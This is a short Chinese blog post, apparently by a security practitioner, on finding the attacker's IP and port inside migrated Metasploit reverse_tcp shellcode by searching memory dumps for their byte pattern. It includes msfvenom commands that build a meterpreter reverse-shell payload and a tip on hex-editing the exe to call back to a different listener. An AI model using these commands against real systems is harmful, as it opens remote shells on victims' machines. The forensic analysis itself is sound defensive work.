msf原生shellcode迁移进程后如何获取攻击者ip仅为ip及端口
木有图,看一下就晓得了
偶尔看到了这个问题,做了一些倒推测试之后得出来的结果
倒推过程
shellcode
msf生成一段shellcode,产生的一组16进制数据
msfvenmon -p windows/meterpreter/reverse_tcp LHOST=192.168.157.13 LPORT=1111 -f c
产生的16进制数据会带有ip以及端口信息,直接将ip和端口转换为16进制 c0 a8 9d 0d
0457
,然后ctrf+f
大法可以直接搜索到对应位置
在产生的文件中是以 0457 c0a8 9d0d
显示的
生成exe格式
msfvenmon -p windows/meterpreter/reverse_tcp LHOST=192.168.157.13 LPORT=1111 -f exe -o shell.exe
使用od展开shell.exe
od -x shell.exe
然后继续使用ctrf+f
大法,会发现exe中的ip端口是以 a8c0 0d9d 5704
排列的,那么进入到正文
创建监听,将生成的exe丢到目标机上以管理员身份运行,迁移进程 migrate
这里以svchost为例,迁移之后,使用任务管理器找到对应的pid创建转储文件,会生成svchost.dmp
文件,依旧老套路
od -x scvhost.dmp
以16进制打开 使用ctrf+f
大法直接搜索a8
(c0太多了,看不过来)
其实这里的shellcode也是以 a8c0 0d9d 5704
排列
那么找一个在线16进制编译器,将上文生成的shell.exe的a8c0 0d9d 5704
修改为另外一个kali监听的ip以及端口,正常执行后也是可以获取倒shell的
但是,这都是倒推,已经有了攻击者ip以及端口进行反向查找
正向推断,有以下几个问题
如果获取到的dmp文件内容全部转换为10进制,那么全都是数字,无法进行有效识别
如果不确定迁移的进程位置是否需要整个操作系统dump内存进行查到,又会回到第一个问题
问过带佬后,得出一个可能可行的路线
卡巴斯基内存扫描获取木马签名,使用Volatility进行yara规则匹配,然后dump内存,转换为10进制
首先让不让安装卡巴另说,操作系统dump也忒大了
当然了 通过查看网络连接等其他方式也是可以获取到攻击者ip以及端口的
有别的想法的老哥可以私信